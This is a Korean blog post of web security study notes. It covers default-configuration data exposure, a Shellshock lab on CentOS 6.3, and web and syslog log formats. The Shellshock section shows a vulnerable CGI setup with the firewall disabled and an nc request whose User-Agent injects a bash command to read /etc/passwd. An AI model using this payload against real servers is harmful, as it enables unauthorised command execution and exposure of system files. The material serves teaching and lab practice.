본문 바로가기
클라우드 아키텍처 설계 기초지식/08 웹 보안

웹 보안(3) - 데이터 노출,쉘쇼크,로그 보는법

by Jasie 2018. 10. 31.
  • 민감한 데이터 노출

    관리자가 기본적으로 설정해야하는 것들(디렉토리 리스팅, 기본 페이지 제거, 패스워드 변경)을 설정하지 않아서 발생하는 문제


빅데이터 인공지능 openstack ssl 해킹


ㆍ기본 웹사이트 중지

ㆍ기본 웹 페이지 제거

ㆍ홈 디렉토리 및 로그 파일 위치 설정

ㆍ로그는 W3C 로그 사용

ㆍ디렉토리 리스팅 사용 중지

ㆍ메소드 설정

ㆍ오류 메시지 설정

ㆍ디렉토리 보안


 - 쉘쇼크


2014년 9월 24일에 밝혀진, 유닉스류 운영체제에서 터미널로 사용하는 Bash shell에 존재하는 보안 취약점. 


*cgi : 공용 게이트웨이 인터페이스(Common Gateway Interface)는 웹 서버 상에서 사용자 프로그램을 동작시키기 위한 조합이다.


 

CentoOS 6.3버전에서 실습을 실행한다



/var/www/cgi-bin/hello.txt 

<html>

<head>

<title>Hello</title>

</head>

<body>

<h1> Hello World!!</h1>

<p> HTML from hello.txt </p>

</body>

</html>


/var/www/cgi-bin/hello.cgi 

#!/bin/bash


echo "Content-Type: text/html"

echo ""

cat hello.txt

echo ""



 두 파일 권한을 [777] 설정후  서버 재시작 및 방화벽 끄기


service httpd restart

service iptables stop


 공격방법
    nc를 이용해서 웹서버에 접속
    nc.exe [서버IP] 80


    GET /cgi-bin/hello.cgi HTTP/1.1

    Host: 1.1.1.1

    User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd





  • 불충분한 로깅 및 모니터링 ( 로그 보는법 )

 

- 웹 로그의 종류


Access Log : 웹 사이트 접속에 대한 기본적인 정보를 제공, 접속한 사용자 IP, 접속 시간, 웹 서버에 요청한 내용, 요청 파일 크기

   처리 결과 등 대부분의 내용을 기록


Error Log : 요청한 페이지가 없거나 링크 등이 잘못된 경우 또는 서버에서 처리를 하다 오류가 발생한 경우가 기록


ㆍReferer Log : 웹 사이트에 방문하는 사용자가 이전에 어느 사이트에서 접속해 있었는지의 대한 정보를 저장



- Access Log 형식


ㆍNCSA 로그 형식 : 아파치, 톰캣 서버에서 사용하는 형식






ㆍW3C 로그 형식 ( IIS 서버에서 사용하는 형식 )





ㆍODBC 로그 형식

로그를 파일로 저장하는 것이 아닌, DB에 연결해 저장


- 로그 분석 방법

   

(1) 컴퓨터에 기본명령어 string, grep, egrep 을 이용하여 문자열 파싱


(2) LogParser (MS에서 제공)


-CLI 기반



-GUI 기반


*tip


리눅스 로그(syslogd, /etc/rsyslog.conf 파일에 설정)

/var/log 밑에

messages


* 리눅스 Log형식

 

[Facility].[Level]                [Action]             


Selector 필드        Action 필드(파일, 서버)


- Facility  [ /var/log/messages ] : [설정 파일이 잘못된거같은데 뭔지 모르겠다 싶으면 찾아보면됨]


   1. kern : 커널이 발생한 메시지

   2. user : 사용자 프로세스

   3. maiol : mail 시스템 관련 서비스

   4. daemon : telnetd, ftpd, httpd과 관련된 서비스

   5. auth : 로그인과 같은 인증 관련 서비스

   6. syslog : syslog 관련 서비스

   7. cron : 예약작업 관련 서비스, crond, atd

   8. * : 모든 서비스를 의미


- Level 

    심각도 : 1>9

  1. emerge  : 일반적으로 모든 사용자에게 전달되는 패닉 상황 (블루스크린, 커널 패닉)

  2. alert : 시스템 DB에 손상 등 즉시 수정해야되는 상황

  3. crit : 하드 장치 오류 등 중대한 상황에 대한 경고

  4. err : 하등 장치 이외의 오류

  5. warning : 경고 메시지, 무시해도 됨 (서비스가 업데이트 됫을때 변경되었다고 띄워주는 정도)

  6. notice : 비 오류상황, 특별한 처리가 필요할 수있다.

  7. info : 정보 메세지

  8. debug : 프로그램 개발, 테스트 할 때 사용되는 메세지

  9. none : 로그 기록 X





공감() 과 댓글은 필자에게 큰 힘이 됩니다.

잠시 1초만 내주시면 안될까요? ~~


로그인 없이도 가능합니당 



댓글